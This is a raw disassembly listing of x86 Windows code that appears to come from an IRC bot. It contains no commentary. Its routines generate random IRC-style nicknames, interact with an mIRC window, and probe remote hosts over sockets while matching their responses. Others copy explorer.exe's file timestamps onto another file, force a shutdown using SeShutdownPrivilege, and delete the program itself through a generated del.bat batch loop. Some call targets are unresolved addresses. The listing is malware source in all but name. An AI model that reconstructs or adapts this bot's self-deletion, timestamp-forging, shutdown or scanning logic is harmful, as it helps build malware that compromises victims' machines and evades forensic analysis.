mov dword_4D4A58[esi], 1
push eax
push ebx
push edi
push offset sub_417C61
push ebx
push ebx
nop
call near ptr 2690000h
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_417E18
loc_417E7F: ; CODE XREF: sub_417E06+10j
; sub_417E06+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_417E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E84 proc near ; CODE XREF: sub_401ACD+36FDp
; sub_401ACD+3747p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BF70
add esp, 0Ch
call sub_41C2C2
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul dbl_4276D8
call sub_41D174
cmp eax, 1
jnz short loc_417ECE
call sub_41C2C2
call sub_41C2C2
push 66h
cdq
pop ecx
idiv ecx
push off_438A68[edx*4]
jmp short loc_417EE7
; ---------------------------------------------------------------------------
loc_417ECE: ; CODE XREF: sub_417E84+2Fj
call sub_41C2C2
call sub_41C2C2
cdq
mov ecx, 0C0h
idiv ecx
push off_438768[edx*4]
loc_417EE7: ; CODE XREF: sub_417E84+48j
lea eax, [ebp+var_2C]
push eax
call sub_41C890
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41B9C0
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41D174
mov ebx, eax
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276C8
call sub_41D174
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_417F5A
cmp esi, 3
jnz short loc_417F51
cmp ebx, 1
jz short loc_417F5A
loc_417F51: ; CODE XREF: sub_417E84+C6j
cmp eax, 1
jnz loc_418014
loc_417F5A: ; CODE XREF: sub_417E84+C1j
; sub_417E84+CBj
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41D174
push off_438A68[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41C890
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41C990
add esp, 10h
test eax, eax
jnz short loc_418001
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz short loc_418001
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
call sub_41D174
cmp eax, 1
jnz short loc_418001
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_418001: ; CODE XREF: sub_417E84+111j
; sub_417E84+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41CBC0
add esp, 0Ch
loc_418014: ; CODE XREF: sub_417E84+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41B9C0
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41DEE8
pop ecx
test eax, eax
pop ecx
jnz loc_41827C
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41C990
pop ecx
test eax, eax
pop ecx
jnz loc_418173
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
call sub_41D174
cmp esi, 3
jz short loc_418082
cmp eax, 1
jnz loc_418173
loc_418082: ; CODE XREF: sub_417E84+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_4180C4
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_4180E0
; ---------------------------------------------------------------------------
loc_4180C4: ; CODE XREF: sub_417E84+207j
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_4180E0: ; CODE XREF: sub_417E84+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B0
call sub_41D174
cmp esi, 3
jz short loc_418109
cmp eax, ebx
jnz short loc_418173
loc_418109: ; CODE XREF: sub_417E84+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_41814E
push edi
call sub_41B9C0
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276C8
call sub_41D174
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_41816C
; ---------------------------------------------------------------------------
loc_41814E: ; CODE XREF: sub_417E84+28Fj
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_41816C: ; CODE XREF: sub_417E84+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_418173: ; CODE XREF: sub_417E84+1C9j
; sub_417E84+1F8j ...
cmp esi, 6
jge loc_4181FC
cmp esi, 5
jge short loc_418194
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
jmp short loc_4181B2
; ---------------------------------------------------------------------------
loc_418194: ; CODE XREF: sub_417E84+2FBj
call sub_41C2C2
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276C8
loc_4181B2: ; CODE XREF: sub_417E84+30Ej
call sub_41D174
test eax, eax
jnz short loc_4181D5
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A8
call sub_41D174
mov cl, 30h
jmp short loc_4181F2
; ---------------------------------------------------------------------------
loc_4181D5: ; CODE XREF: sub_417E84+335j
cmp eax, 1
jnz short loc_4181FC
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41D174
mov cl, 41h
loc_4181F2: ; CODE XREF: sub_417E84+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_4181FC: ; CODE XREF: sub_417E84+2F2j
; sub_417E84+354j
cmp [ebp+var_C], 2
jge short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276C8
call sub_41D174
cmp eax, 1
jnz short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A8
call sub_41D174
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276A0
call sub_41D174
cmp eax, 1
jnz short loc_41827C
cmp [ebp+var_C], eax
jge short loc_41827C
call sub_41C2C2
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_427698
call sub_41D174
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_41827C: ; CODE XREF: sub_417E84+1B1j
; sub_417E84+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41BFD0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_417E84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418295 proc near ; CODE XREF: sub_4182CD+125p
; sub_4182CD+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_4182C3
loc_4182A6: ; CODE XREF: sub_418295+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41DF40
add esp, 0Ch
test eax, eax
jz short loc_4182C9
inc esi
cmp esi, edi
jl short loc_4182A6
loc_4182C3: ; CODE XREF: sub_418295+Fj
xor al, al
loc_4182C5: ; CODE XREF: sub_418295+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4182C9: ; CODE XREF: sub_418295+27j
mov al, 1
jmp short loc_4182C5
sub_418295 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4182CD proc near ; CODE XREF: ___:0040DFD7p
; ___:0040E0C0p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41C500
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_41830E
dec eax
jz short loc_4182EC
dec eax
loc_4182E6: ; CODE XREF: sub_4182CD+57j
xor eax, eax
loc_4182E8: ; CODE XREF: sub_4182CD+3Fj
; sub_4182CD+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_4182EC: ; CODE XREF: sub_4182CD+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_4CBA14
push eax
call sub_40C34B
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_4182E8
; ---------------------------------------------------------------------------
loc_41830E: ; CODE XREF: sub_4182CD+13j
push 6
push 1
push 2
call dword_4CBA54
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_4182E6
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_4CB9D4
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40A8F0
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4CB97C
cmp eax, edi
jz loc_41842A
push ebx
push 48h
push offset dword_439374
push esi
call dword_4CBA24
cmp eax, edi
jz loc_41842A
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CB9EC
cmp eax, edi
jz loc_41842A
cmp [ebp+var_200E], 0Ch
jnz short loc_41842A
push ebx
push 18h
push offset dword_4393C0
push [ebp+arg_4]
call dword_4CBA24
cmp eax, edi
jz short loc_41842A
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4CB9EC
mov esi, eax
cmp esi, edi
jz short loc_41842A
cmp [ebp+var_200E], 2
jnz short loc_41842A
push 10h
push offset loc_4393DC
lea eax, [ebp+var_2010]
push esi
push eax
call sub_418295
add esp, 10h
test al, al
jz short loc_41840A
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_41842A
; ---------------------------------------------------------------------------
loc_41840A: ; CODE XREF: sub_4182CD+12Fj
push 10h
push offset dword_4393F0
lea eax, [ebp+var_2010]
push esi
push eax
call sub_418295
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_41842A: ; CODE XREF: sub_4182CD+9Bj
; sub_4182CD+B2j ...
push [ebp+arg_4]
call dword_4CBA6C
mov eax, ebx
pop ebx
jmp loc_4182E8
sub_4182CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41843B proc near ; CODE XREF: sub_401ACD+BD0p
; sub_401ACD+C0Dp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_4184C6
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_4184C6
cmp [ebp+arg_8], esi
jz short loc_4184C6
cmp byte ptr [eax], 0
jz short loc_4184C6
push ebx
push edi
call sub_426465
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_4184C1
push [ebp+arg_4]
push edi
call sub_41C2E0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4184BA
sub eax, edi
push eax
push edi
push ebx
call sub_41BFD0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41B9C0
push eax
push [ebp+arg_8]
push ebx
call sub_41CBC0
push [ebp+arg_4]
call sub_41B9C0
add eax, esi
push eax
push ebx
call sub_41C8A0
push ebx
push edi
call sub_41C890
add esp, 30h
mov esi, edi
loc_4184BA: ; CODE XREF: sub_41843B+3Cj
push ebx
call sub_41BA91
pop ecx
loc_4184C1: ; CODE XREF: sub_41843B+2Bj
mov eax, esi
pop ebx
jmp short loc_4184C8
; ---------------------------------------------------------------------------
loc_4184C6: ; CODE XREF: sub_41843B+Cj
; sub_41843B+13j ...
xor eax, eax
loc_4184C8: ; CODE XREF: sub_41843B+89j
pop edi
pop esi
pop ebp
retn
sub_41843B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184CC proc near ; CODE XREF: sub_401955+E9p
; ___:00410CF1p
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41BF70
mov esi, [ebp+arg_0]
push esi
call sub_41B9C0
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_418502
or eax, 0FFFFFFFFh
jmp short loc_418575
; ---------------------------------------------------------------------------
loc_418502: ; CODE XREF: sub_4184CC+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_418524
loc_41850E: ; CODE XREF: sub_4184CC+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_41851B
cmp dl, 0Dh
jnz short loc_41851F
loc_41851B: ; CODE XREF: sub_4184CC+48j
and byte ptr [ecx+esi], 0
loc_41851F: ; CODE XREF: sub_4184CC+4Dj
inc ecx
cmp ecx, eax
jl short loc_41850E
loc_418524: ; CODE XREF: sub_4184CC+40j
xor edx, edx
push edi
test eax, eax
jle short loc_418555
lea edi, [ebp+var_7CC]
loc_418531: ; CODE XREF: sub_4184CC+87j
cmp byte ptr [edx+esi], 0
jnz short loc_418550
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_418550
cmp ebx, 1F4h
jge short loc_418555
mov [edi], ecx
inc ebx
add edi, 4
loc_418550: ; CODE XREF: sub_4184CC+69j
; sub_4184CC+74j
inc edx
cmp edx, eax
jl short loc_418531
loc_418555: ; CODE XREF: sub_4184CC+5Dj
; sub_4184CC+7Cj
cmp [ebp+arg_4], 0
pop edi
jz short loc_418573
lea eax, [ebp+var_7D0]
push 7D0h
push eax
push [ebp+arg_4]
call sub_41CD20
add esp, 0Ch
loc_418573: ; CODE XREF: sub_4184CC+8Ej
mov eax, ebx
loc_418575: ; CODE XREF: sub_4184CC+34j
pop esi
pop ebx
leave
retn
sub_4184CC endp
; =============== S U B R O U T I N E =======================================
sub_418579 proc near ; CODE XREF: sub_4185D3+33p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_4]
push esi
push edi
mov edi, [esp+8+arg_8]
mov ecx, 1F4h
xor esi, esi
rep stosd
lea edi, [eax-1]
test edi, edi
jl short loc_4185B2
push ebx
mov ebx, edi
loc_418596: ; CODE XREF: sub_418579+36j
mov eax, [esp+0Ch+arg_0]
mov al, [esi+eax]
push eax
call sub_4185B5
pop ecx
inc esi
mov ecx, [esp+0Ch+arg_8]
mov [ecx+eax*4], ebx
dec ebx
cmp esi, edi
jle short loc_418596
pop ebx
loc_4185B2: ; CODE XREF: sub_418579+18j
pop edi
pop esi
retn
sub_418579 endp
; =============== S U B R O U T I N E =======================================
sub_4185B5 proc near ; CODE XREF: sub_418579+25p
; sub_4185D3+6Bp
arg_0 = byte ptr 4
movsx eax, [esp+arg_0]
push eax
call sub_41DFEC
cmp al, 61h
pop ecx
jl short loc_4185D0
cmp al, 7Ah
jg short loc_4185D0
movsx eax, al
sub eax, 60h
retn
; ---------------------------------------------------------------------------
loc_4185D0: ; CODE XREF: sub_4185B5+Ej
; sub_4185B5+12j
xor eax, eax
retn
sub_4185B5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4185D3 proc near ; CODE XREF: sub_415E19+10p
; ___:00415EEBp
var_100C = dword ptr -100Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 100Ch
call sub_41C500
push ebx
push esi
push edi
push [ebp+arg_0]
call sub_41B9C0
push [ebp+arg_4]
mov [ebp+var_4], eax
call sub_41B9C0
mov esi, eax
lea eax, [ebp+var_100C]
push eax
push esi
push [ebp+arg_4]
mov [ebp+var_C], esi
call sub_418579
add esp, 14h
dec esi
mov edi, esi
loc_418611: ; CODE XREF: sub_4185D3+B6j
test esi, esi
jle short loc_41868F
mov eax, [ebp+arg_4]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DFEC
mov ebx, eax
mov eax, [ebp+arg_0]
movsx eax, byte ptr [edi+eax]
push eax
call sub_41DFEC
pop ecx
cmp eax, ebx
pop ecx
jz short loc_418687
loc_418637: ; CODE XREF: sub_4185D3+B2j
mov ebx, [ebp+arg_0]
mov al, [edi+ebx]
push eax
call sub_4185B5
mov edx, [ebp+var_C]
mov eax, [ebp+eax*4+var_100C]
pop ecx
mov ecx, edx
sub ecx, esi
cmp ecx, eax
jle short loc_418658
mov eax, ecx
loc_418658: ; CODE XREF: sub_4185D3+81j
add edi, eax
cmp edi, [ebp+var_4]
jge short loc_41868B
mov eax, [ebp+arg_4]
lea esi, [edx-1]
movsx eax, byte ptr [esi+eax]
push eax
call sub_41DFEC
mov edx, eax
movsx eax, byte ptr [edi+ebx]
push eax
mov [ebp+var_8], edx
call sub_41DFEC
pop ecx
pop ecx
mov ecx, [ebp+var_8]
cmp eax, ecx
jnz short loc_418637
loc_418687: ; CODE XREF: sub_4185D3+62j
dec edi
dec esi
jmp short loc_418611
; ---------------------------------------------------------------------------
loc_41868B: ; CODE XREF: sub_4185D3+8Aj
xor eax, eax
jmp short loc_418694
; ---------------------------------------------------------------------------
loc_41868F: ; CODE XREF: sub_4185D3+40j
mov eax, [ebp+arg_0]
add eax, edi
loc_418694: ; CODE XREF: sub_4185D3+BAj
pop edi
pop esi
pop ebx
leave
retn
sub_4185D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418699 proc near ; CODE XREF: sub_401ACD+66C5p
; sub_401ACD+76FFp
var_100 = byte ptr -100h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 100h
push esi
call near ptr 269086Bh
nop
mov esi, eax
push 0
lea eax, [ebp+var_100]
push 100h
push eax
push 400h
push esi
push 0
push 1200h
call near ptr 2800000h
nop
lea eax, [ebp+var_100]
loc_4186D2: ; CODE XREF: sub_418699+46j
mov cl, [eax]
cmp cl, 1Fh
jg short loc_4186DE
cmp cl, 9
jnz short loc_4186E1
loc_4186DE: ; CODE XREF: sub_418699+3Ej
inc eax
jmp short loc_4186D2
; ---------------------------------------------------------------------------
loc_4186E1: ; CODE XREF: sub_418699+43j
; sub_418699+5Bj ...
and byte ptr [eax], 0
dec eax
lea ecx, [ebp+var_100]
cmp eax, ecx
jb short loc_4186FB
mov cl, [eax]
cmp cl, 2Eh
jz short loc_4186E1
cmp cl, 21h
jl short loc_4186E1
loc_4186FB: ; CODE XREF: sub_418699+54j
lea eax, [ebp+var_100]
push esi
push eax
mov esi, offset dword_4DB17C
push [ebp+arg_0]
push offset aSErrorSD_ ; "%s Error: %s <%d>."
push 200h
push esi
call sub_41C360
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_418699 endp
; =============== S U B R O U T I N E =======================================
sub_418723 proc near ; CODE XREF: sub_401ACD+2470p
push esi
push 0
call dword_4CB9A4
test eax, eax
jz short loc_41875A
push 1
call dword_4CB9C4
mov esi, eax
test esi, esi
jz short loc_41875A
push edi
push esi
nop
call near ptr 281061Bh
push esi
mov edi, eax
nop
call near ptr 2810000h
call dword_4CBA28
mov eax, edi
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_41875A: ; CODE XREF: sub_418723+Bj
; sub_418723+19j
xor eax, eax
pop esi
retn
sub_418723 endp
; =============== S U B R O U T I N E =======================================
sub_41875E proc near ; CODE XREF: sub_401ACD+74BFp
arg_0 = dword ptr 4
push ebp
push esi
push edi
xor esi, esi
mov edi, offset aMirc_0 ; "mIRC"
push esi
push edi
call dword_4CB9E0
mov ebp, eax
cmp ebp, esi
jz short loc_4187DA
push ebx
push edi
push 1000h
push esi
push 4
push esi
push 0FFFFFFFFh
nop
call near ptr 2820000h
push esi
push esi
mov edi, eax
push esi
push 0F001Fh
push edi
call near ptr 2810E14h
nop
push [esp+10h+arg_0]
mov ebx, eax
push ebx
call sub_41C266
pop ecx
pop ecx
push esi
push 1
push 4C8h
push ebp
call dword_4CBA30
push esi
push 1
push 4C9h
push ebp
call dword_4CBA30
push ebx
nop
call near ptr 2810B24h
push edi
call near ptr 2670770h
nop
push 1
pop eax
pop ebx
jmp short loc_4187DC
; ---------------------------------------------------------------------------
loc_4187DA: ; CODE XREF: sub_41875E+16j
xor eax, eax
loc_4187DC: ; CODE XREF: sub_41875E+7Aj
pop edi
pop esi
pop ebp
retn
sub_41875E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4187E0 proc near ; CODE XREF: ___:00401433p
var_11C = byte ptr -11Ch
var_18 = byte ptr -18h
var_10 = byte ptr -10h
var_8 = byte ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 11Ch
push ebx
push esi
xor esi, esi
push edi
lea eax, [ebp+var_11C]
push esi
push eax
push 104h
push esi
push offset aExplorer_exe ; "explorer.exe"
push esi
call dword_4CBA90
test eax, eax
jz short loc_41887F
mov edi, 80h
push esi
push edi
push 3
push esi
mov esi, dword_4270F8
push 1
lea eax, [ebp+var_11C]
push 80000000h
push eax
call esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_41887F
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push ebx
nop
call near ptr 2830000h
push ebx
mov ebx, dword_427070
call ebx
push 0
push edi
push 3
push 0
push 2
push 40000000h
push [ebp+arg_0]
call esi
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_41887F
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_10]
push eax
push esi
nop
call near ptr 28206BCh
push esi
call ebx
loc_41887F: ; CODE XREF: sub_4187E0+2Aj
; sub_4187E0+51j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4187E0 endp
; =============== S U B R O U T I N E =======================================
sub_418884 proc near ; CODE XREF: sub_401ACD+1682p
push 1
push offset aSeshutdownpriv ; "SeShutdownPrivilege"
call sub_419B9E
pop ecx
pop ecx
push 50005h
push 6
call dword_4CB914
neg eax
sbb eax, eax
neg eax
retn
sub_418884 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4188A6 proc near ; CODE XREF: sub_401ACD+270Ep
; ___:00416C12p
var_764 = byte ptr -764h
var_364 = byte ptr -364h
var_260 = byte ptr -260h
var_15C = byte ptr -15Ch
var_58 = dword ptr -58h
var_4C = dword ptr -4Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_14 = byte ptr -14h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 764h
push esi
xor esi, esi
cmp dword_429090, esi
push edi
jz short loc_4188CA
cmp dword_4CBAA4, esi
jnz short loc_4188CA
push esi
call sub_401000
pop ecx
loc_4188CA: ; CODE XREF: sub_4188A6+13j
; sub_4188A6+1Bj
call sub_40B583
lea eax, [ebp+var_764]
push eax
push 400h
nop
call near ptr 26B0000h
lea eax, [ebp+var_764]
push eax
lea eax, [ebp+var_260]
push offset aSdel_bat ; "%sdel.bat"
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_260]
push esi
push esi
push 2
push esi
push esi
push 40000000h
push eax
call near ptr 2730000h
nop
mov edi, eax
cmp edi, esi
jbe loc_418A2A
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_4]
push esi
push eax
lea eax, [ebp+var_764]
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_764]
push eax
push edi
call near ptr 2720000h
nop
push edi
nop
call near ptr 2670770h
push 10h
lea eax, [ebp+var_14]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_58]
pop edi
push edi
push esi
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_58], edi
mov edi, 104h
lea eax, [ebp+var_15C]
push edi
push eax
push esi
mov [ebp+var_4C], offset byte_43DB88
mov [ebp+var_2C], 1
mov [ebp+var_28], si
call near ptr 26A0000h
nop
push eax
nop
call near ptr 2680000h
lea eax, [ebp+var_15C]
push eax
call near ptr 2690E7Eh
nop
cmp eax, 0FFFFFFFFh
jz short loc_4189D2
lea eax, [ebp+var_15C]
push 80h
push eax
nop
call near ptr 2690D47h
loc_4189D2: ; CODE XREF: sub_4188A6+118j
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_260]
push eax
lea eax, [ebp+var_764]
push offset aComspecCSS ; "%%comspec%% /c %s %s"
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_364]
push edi
push eax
lea eax, [ebp+var_764]
push eax
nop
call near ptr 2840000h
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_58]
push eax
push esi
push esi
push 4008h
push 1
push esi
lea eax, [ebp+var_364]
push esi
push eax
push esi
nop
call near ptr 26709E4h
loc_418A2A: ; CODE XREF: sub_4188A6+72j
pop edi
pop esi
leave
retn
sub_4188A6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418A2E proc near ; CODE XREF: sub_401ACD+7133p
var_294 = byte ptr -294h
var_94 = dword ptr -94h
var_84 = dword ptr -84h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 294h
push edi
xor edi, edi
push 94h
lea eax, [ebp+var_94]
push edi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_94]
mov [ebp+var_94], 94h
push eax
call near ptr 26F0000h
nop
cmp [ebp+var_84], 2
jnz short loc_418AC4
push [ebp+arg_10]
push [ebp+arg_C]
call dword_4CB954
push edi
push eax
call dword_4CB964
test eax, eax
jz short loc_418AB6
push [ebp+arg_10]
push offset dword_4394FC
loc_418A8F: ; CODE XREF: sub_418A2E+94j
lea eax, [ebp+var_294]
push eax
call sub_41C266
push edi
lea eax, [ebp+var_294]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 20h
jmp short loc_418AEE
; ---------------------------------------------------------------------------
loc_418AB6: ; CODE XREF: sub_418A2E+57j
nop
call near ptr 269086Bh
push eax
push offset unk_4394D4
jmp short loc_418A8F
; ---------------------------------------------------------------------------
